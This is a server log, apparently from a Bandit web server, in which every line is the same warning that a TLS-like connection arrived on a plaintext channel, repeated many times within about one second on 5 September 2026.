[Sat Sep  5 06:53:50.491000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.490000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.491000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.492000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.492000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.492000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.503000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.504000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.504000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.504000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.505000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.505000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.505000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.506000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.506000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.506000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.507000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.507000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.507000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.508000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.510000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.510000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.510000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.511000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.513000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.513000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.514000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.537000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.539000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.540000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.540000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.540000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.541000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.662000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.663000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.663000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.663000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.664000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.666000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.666000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.671000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.671000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.673000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.673000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.674000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.674000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.674000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.676000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.676000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.676000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.678000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.677000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.677000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.678000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.679000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.690000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.690000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.690000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.691000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.690000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.691000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.692000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.692000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.693000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.692000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.694000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.694000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.694000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.694000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.696000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.697000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.697000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.697000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.699000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.701000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.701000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.723000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.724000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.725000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.726000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.726000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.726000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.849000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.849000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.850000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.850000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.852000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.852000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.852000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.857000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.858000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.858000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.859000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.859000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.859000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.860000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.862000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.862000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.863000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.863000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.862000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.864000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.864000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.864000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.876000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.876000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.876000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.876000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.877000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.877000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.878000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.878000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.878000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.879000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.879000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.879000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.880000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.880000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.882000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.882000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.883000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.883000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.884000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.887000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.888000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.910000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.910000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.911000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.911000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.911000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:50.913000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.036000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.036000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.036000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.037000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.038000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.039000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.039000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.043000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.044000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.045000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.046000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.046000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.046000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.047000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.049000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.049000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.049000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.049000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.050000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.050000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.050000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.054000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.062000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.064000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.064000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.064000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.064000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.064000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.064000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.064000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.065000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.065000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.065000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.065000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.067000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.067000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.067000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.068000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.068000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.068000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.070000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.074000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.074000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.096000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.097000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.097000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.097000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.097000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.099000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.222000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.222000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.222000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.223000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.225000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.225000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.225000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.229000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.231000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.232000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.232000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.233000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.233000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.233000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.235000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.235000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.235000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.235000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.236000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.236000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.236000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.242000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.248000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.250000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.250000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.250000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.250000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.250000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.249000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.251000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.250000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.251000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.252000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.250000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.253000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.253000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.254000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.254000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.254000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 06:53:51.253000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
